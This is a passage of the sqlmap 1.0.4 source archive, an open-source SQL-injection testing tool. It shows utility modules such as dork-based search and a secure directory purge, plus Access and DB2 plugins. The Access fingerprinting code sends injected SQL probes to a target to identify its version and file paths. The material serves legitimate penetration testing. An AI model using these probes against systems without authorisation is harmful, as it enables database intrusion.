totalWidth=None): self._progBar = "[]" self._oldProgBar = "" self._min = int(minValue) self._max = int(maxValue) self._span = max(self._max - self._min, 0.001) self._width = totalWidth if totalWidth else conf.progressWidth self._amount = 0 self._times = [] self.update() def _convertSeconds(self, value): seconds = value minutes = seconds / 60 seconds = seconds - (minutes * 60) return "%.2d:%.2d" % (minutes, seconds) def update(self, newAmount=0): """ This method updates the progress bar """ if newAmount < self._min: newAmount = self._min elif newAmount > self._max: newAmount = self._max self._amount = newAmount # Figure out the new percent done, round to an integer diffFromMin = float(self._amount - self._min) percentDone = (diffFromMin / float(self._span)) * 100.0 percentDone = round(percentDone) percentDone = min(100, int(percentDone)) # Figure out how many hash bars the percentage should be allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max)) numHashes = (percentDone / 100.0) * allFull numHashes = int(round(numHashes)) # Build a progress bar with an arrow of equal signs if numHashes == 0: self._progBar = "[>%s]" % (" " * (allFull - 1)) elif numHashes == allFull: self._progBar = "[%s]" % ("=" * allFull) else: self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes)) # Add the percentage at the beginning of the progress bar percentString = getUnicode(percentDone) + "%" self._progBar = "%s %s" % (percentString, self._progBar) def progress(self, deltaTime, newAmount): """ This method saves item delta time and shows updated progress bar with calculated eta """ if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max: eta = None else: midTime = sum(self._times) / len(self._times) midTimeWithLatest = (midTime + deltaTime) / 2 eta = midTimeWithLatest * (self._max - newAmount) self._times.append(deltaTime) self.update(newAmount) self.draw(eta) def draw(self, eta=None): """ This method draws the progress bar if it has changed """ if self._progBar != self._oldProgBar: self._oldProgBar = self._progBar dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" ETA %s" % self._convertSeconds(int(eta))) if eta is not None else "")) if self._amount >= self._max: if not conf.liveTest: dataToStdout("\r%s\r" % (" " * self._width)) kb.prependFlag = False else: dataToStdout("\n") def __str__(self): """ This method returns the progress bar string """ return getUnicode(self._progBar) sqlmap-1.0.4/lib/utils/purge.py000066400000000000000000000047111270044205500164150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import random import shutil import stat import string from lib.core.common import getSafeExString from lib.core.data import logger def purge(directory): """ Safely removes content from a given directory """ if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory logger.warn(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory logger.info(infoMsg) filepaths = [] dirpaths = [] for rootpath, directories, filenames in os.walk(directory): dirpaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in directories]) filepaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in filenames]) logger.debug("changing file attributes") for filepath in filepaths: try: os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) except: pass logger.debug("writing random data to files") for filepath in filepaths: try: filesize = os.path.getsize(filepath) with open(filepath, "w+b") as f: f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) except: pass logger.debug("truncating files") for filepath in filepaths: try: with open(filepath, 'w') as f: pass except: pass logger.debug("renaming filenames to random values") for filepath in filepaths: try: os.rename(filepath, os.path.join(os.path.dirname(filepath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass dirpaths.sort(cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) logger.debug("renaming directory names to random values") for dirpath in dirpaths: try: os.rename(dirpath, os.path.join(os.path.dirname(dirpath), "".join(random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass logger.debug("deleting the whole directory tree") os.chdir(os.path.join(directory, "..")) try: shutil.rmtree(directory) except OSError, ex: logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex))) sqlmap-1.0.4/lib/utils/search.py000066400000000000000000000157211270044205500165430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import cookielib import httplib import re import socket import urllib import urllib2 from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import DISCONNECT_SEARCH_REGEX from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage from lib.request.httpshandler import HTTPSHandler from thirdparty.socks import socks def _search(dork): """ This method performs the effective search on Google providing the google dork and the Google session cookie """ if not dork: return None headers = {} headers[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT) headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE try: req = urllib2.Request("https://www.google.com/ncr", headers=headers) conn = urllib2.urlopen(req) except Exception, ex: errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) raise SqlmapConnectionException(errMsg) gpage = conf.googlePage if conf.googlePage > 1 else 1 logger.info("using search result page #%d" % gpage) url = "https://www.google.com/search?" url += "q=%s&" % urlencode(dork, convall=True) url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" url += "&start=%d" % ((gpage - 1) * 100) try: req = urllib2.Request(url, headers=headers) conn = urllib2.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except urllib2.HTTPError, e: try: page = e.read() except Exception, ex: warnMsg = "problem occurred while trying to get " warnMsg += "an error page information (%s)" % getSafeExString(ex) logger.critical(warnMsg) return None except (urllib2.URLError, httplib.error, socket.error, socket.timeout, socks.ProxyError): errMsg = "unable to connect to Google" raise SqlmapConnectionException(errMsg) retVal = [urllib.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: warnMsg = "Google has detected 'unusual' traffic from " warnMsg += "used IP address disabling further searches" logger.warn(warnMsg) if not retVal: message = "no usable links found. What do you want to do?" message += "\n[1] (re)try with DuckDuckGo (default)" message += "\n[2] (re)try with Disconnect Search" message += "\n[3] quit" choice = readInput(message, default="1").strip().upper() if choice == "Q": raise SqlmapUserQuitException elif choice == "2": url = "https://search.disconnect.me/searchTerms/search?" url += "start=nav&option=Web" url += "&query=%s" % urlencode(dork, convall=True) url += "&ses=Google&location_option=US" url += "&nextDDG=%s" % urlencode("/search?q=%s&setmkt=en-US&setplang=en-us&setlang=en-us&first=%d&FORM=PORE" % (urlencode(dork, convall=True), (gpage - 1) * 10), convall=True) url += "&sa=N&showIcons=false&filterIcons=none&js_enabled=1" regex = DISCONNECT_SEARCH_REGEX else: url = "https://duckduckgo.com/d.js?" url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage) regex = DUCKDUCKGO_REGEX try: req = urllib2.Request(url, headers=headers) conn = urllib2.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() code = conn.code status = conn.msg responseHeaders = conn.info() page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) responseMsg = "HTTP response (%s - %d):\n" % (status, code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) except urllib2.HTTPError, e: try: page = e.read() except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % e.code logger.critical(warnMsg) return None except: errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) retVal = [urllib.unquote(match.group(1)) for match in re.finditer(regex, page, re.I | re.S)] return retVal def search(dork): pushValue(kb.redirectChoice) kb.redirectChoice = REDIRECTION.YES try: return _search(dork) except SqlmapBaseException, ex: if conf.proxyList: logger.critical(getSafeExString(ex)) warnMsg = "changing proxy" logger.warn(warnMsg) conf.proxy = None setHTTPHandlers() return search(dork) else: raise finally: kb.redirectChoice = popValue() def setHTTPHandlers(): # Cross-linked function raise NotImplementedError sqlmap-1.0.4/lib/utils/sqlalchemy.py000066400000000000000000000056371270044205500174450ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import imp import logging import os import sys import warnings _sqlalchemy = None try: f, pathname, desc = imp.find_module("sqlalchemy", sys.path[1:]) _ = imp.load_module("sqlalchemy", f, pathname, desc) if hasattr(_, "dialects"): _sqlalchemy = _ warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) except ImportError: pass try: import MySQLdb # used by SQLAlchemy in case of MySQL warnings.filterwarnings("error", category=MySQLdb.Warning) except ImportError: pass from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException from plugins.generic.connector import Connector as GenericConnector class SQLAlchemy(GenericConnector): def __init__(self, dialect=None): GenericConnector.__init__(self) self.dialect = dialect def connect(self): if _sqlalchemy: self.initConnection() try: if not self.port and self.db: if not os.path.exists(self.db): raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db _ = conf.direct.split("//", 1) conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect: conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) engine = _sqlalchemy.create_engine(conf.direct, connect_args={'check_same_thread':False} if self.dialect == "sqlite" else {}) self.connector = engine.connect() except SqlmapFilePathException: raise except Exception, msg: raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % msg[0]) self.printConnected() def fetchall(self): try: retVal = [] for row in self.cursor.fetchall(): retVal.append(tuple(row)) return retVal except _sqlalchemy.exc.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) return None def execute(self, query): try: self.cursor = self.connector.execute(query) except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg.message if hasattr(msg, "message") else msg) except _sqlalchemy.exc.InternalError, msg: raise SqlmapConnectionException(msg[1]) def select(self, query): self.execute(query) return self.fetchall() sqlmap-1.0.4/lib/utils/timeout.py000066400000000000000000000015221270044205500167560ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import threading from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING def timeout(func, args=(), kwargs={}, duration=1, default=None): class InterruptableThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.result = None def run(self): try: self.result = func(*args, **kwargs) except Exception, msg: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, msg) self.result = default thread = InterruptableThread() thread.start() thread.join(duration) if thread.isAlive(): return default else: return thread.result sqlmap-1.0.4/lib/utils/versioncheck.py000066400000000000000000000014641270044205500177600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import sys PYVERSION = sys.version.split()[0] if PYVERSION >= "3" or PYVERSION < "2.6": exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) extensions = ("gzip", "ssl", "sqlite3", "zlib") try: for _ in extensions: __import__(_) except ImportError: errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) errMsg += "most probably because current version of Python has been " errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" exit(errMsg)sqlmap-1.0.4/lib/utils/xrange.py000066400000000000000000000046401270044205500165600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ class xrange(object): """ Advanced (re)implementation of xrange (supports slice/copy/etc.) Reference: http://code.activestate.com/recipes/521885-a-pythonic-implementation-of-xrange/ >>> foobar = xrange(1, 10) >>> 7 in foobar True >>> 11 in foobar False >>> foobar[0] 1 """ __slots__ = ['_slice'] def __init__(self, *args): if args and isinstance(args[0], type(self)): self._slice = slice(args[0].start, args[0].stop, args[0].step) else: self._slice = slice(*args) if self._slice.stop is None: raise TypeError("xrange stop must not be None") @property def start(self): if self._slice.start is not None: return self._slice.start return 0 @property def stop(self): return self._slice.stop @property def step(self): if self._slice.step is not None: return self._slice.step return 1 def __hash__(self): return hash(self._slice) def __cmp__(self, other): return (cmp(type(self), type(other)) or cmp(self._slice, other._slice)) def __repr__(self): return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) def __len__(self): return self._len() def _len(self): return max(0, int((self.stop - self.start) / self.step)) def __contains__(self, value): return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 def __getitem__(self, index): if isinstance(index, slice): start, stop, step = index.indices(self._len()) return xrange(self._index(start), self._index(stop), step*self.step) elif isinstance(index, (int, long)): if index < 0: fixed_index = index + self._len() else: fixed_index = index if not 0 <= fixed_index < self._len(): raise IndexError("Index %d out of %r" % (index, self)) return self._index(fixed_index) else: raise TypeError("xrange indices must be slices or integers") def _index(self, i): return self.start + self.step * i sqlmap-1.0.4/plugins/000077500000000000000000000000001270044205500144715ustar00rootroot00000000000000sqlmap-1.0.4/plugins/__init__.py000066400000000000000000000002261270044205500166020ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/plugins/dbms/000077500000000000000000000000001270044205500154165ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/__init__.py000066400000000000000000000002261270044205500175270ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/plugins/dbms/access/000077500000000000000000000000001270044205500166575ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/access/__init__.py000066400000000000000000000020311270044205500207640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ACCESS_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.access.enumeration import Enumeration from plugins.dbms.access.filesystem import Filesystem from plugins.dbms.access.fingerprint import Fingerprint from plugins.dbms.access.syntax import Syntax from plugins.dbms.access.takeover import Takeover from plugins.generic.misc import Miscellaneous class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft Access methods """ def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.ACCESS] = Syntax.escape sqlmap-1.0.4/plugins/dbms/access/connector.py000066400000000000000000000041571270044205500212320ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import pyodbc except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import IS_WIN from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pyodbc.googlecode.com/ User guide: http://code.google.com/p/pyodbc/wiki/GettingStarted API: http://code.google.com/p/pyodbc/w/list Debian package: python-pyodbc License: MIT """ def __init__(self): GenericConnector.__init__(self) def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " errMsg += "is restricted to Windows platforms" raise SqlmapUnsupportedFeatureException(errMsg) self.initConnection() self.checkFileDb() try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) except (pyodbc.Error, pyodbc.OperationalError), msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pyodbc.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pyodbc.Error, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() sqlmap-1.0.4/plugins/dbms/access/enumeration.py000066400000000000000000000044711270044205500215650ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getBanner(self): warnMsg = "on Microsoft Access it is not possible to get a banner" logger.warn(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" logger.warn(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" logger.warn(warnMsg) def isDba(self): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" logger.warn(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getPrivileges(self, *args): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getDbs(self): warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" logger.warn(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" logger.warn(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" logger.warn(warnMsg) def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.0.4/plugins/dbms/access/filesystem.py000066400000000000000000000013521270044205500214160ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/access/fingerprint.py000066400000000000000000000134361270044205500215670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getCurrentThreadData from lib.core.common import randomStr from lib.core.common import wasLastResponseDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ACCESS_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ACCESS) def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None if Backend.isVersionWithin(("97", "2000")): table = "MSysAccessObjects" elif Backend.isVersionWithin(("2002-2003", "2007")): table = "MSysAccessStorage" if table is not None: result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) retVal = "not sandboxed" if result else "sandboxed" return retVal def _sysTablesCheck(self): infoMsg = "executing system table(s) existence fingerprint" logger.info(infoMsg) # Microsoft Access table reference updated on 01/2010 sysTables = { "97": ("MSysModules2", "MSysAccessObjects"), "2000" : ("!MSysModules2", "MSysAccessObjects"), "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs"), } # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") for version, tables in sysTables.items(): exist = True for table in tables: negate = False if table[0] == '!': negate = True table = table[1:] result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE [RANDNUM]=[RANDNUM])" % table) if result is None: result = False if negate: result = not result exist &= result if not exist: break if exist: return version return None def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) randStr = randomStr() inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr)) if wasLastResponseDBMSError(): threadData = getCurrentThreadData() match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) if retVal.endswith('\\'): retVal = retVal[:-1] return retVal def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ACCESS return value actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\ndatabase directory: '%s'" % self._getDatabaseDir() return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True infoMsg = "testing %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("VAL(CVAR(1))=1") if result: infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False setDbms(DBMS.ACCESS) if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = ("%s%s" % (DBMS.ACCESS, METADB_SUFFIX)).replace(' ', '_') sqlmap-1.0.4/plugins/dbms/access/syntax.py000066400000000000000000000007701270044205500205630ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): def escaper(value): return "&".join("CHR(%d)" % ord(_) for _ in value) return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/access/takeover.py000066400000000000000000000020661270044205500210550ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/db2/000077500000000000000000000000001270044205500160655ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/db2/__init__.py000066400000000000000000000017621270044205500202040ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import DB2_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.db2.enumeration import Enumeration from plugins.dbms.db2.filesystem import Filesystem from plugins.dbms.db2.fingerprint import Fingerprint from plugins.dbms.db2.syntax import Syntax from plugins.dbms.db2.takeover import Takeover from plugins.generic.misc import Miscellaneous class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines DB2 methods """ def __init__(self): self.excludeDbsList = DB2_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.DB2] = Syntax.escape sqlmap-1.0.4/plugins/dbms/db2/connector.py000066400000000000000000000035511270044205500204350ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import ibm_db_dbi except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://code.google.com/p/ibm-db/ User guide: http://code.google.com/p/ibm-db/wiki/README API: http://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except ibm_db_dbi.InternalError, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() sqlmap-1.0.4/plugins/dbms/db2/enumeration.py000066400000000000000000000010001270044205500207540ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getPasswordHashes(self): warnMsg = "on DB2 it is not possible to list password hashes" logger.warn(warnMsg) return {} sqlmap-1.0.4/plugins/dbms/db2/filesystem.py000066400000000000000000000004771270044205500206330ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) sqlmap-1.0.4/plugins/dbms/db2/fingerprint.py000066400000000000000000000127011270044205500207670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb 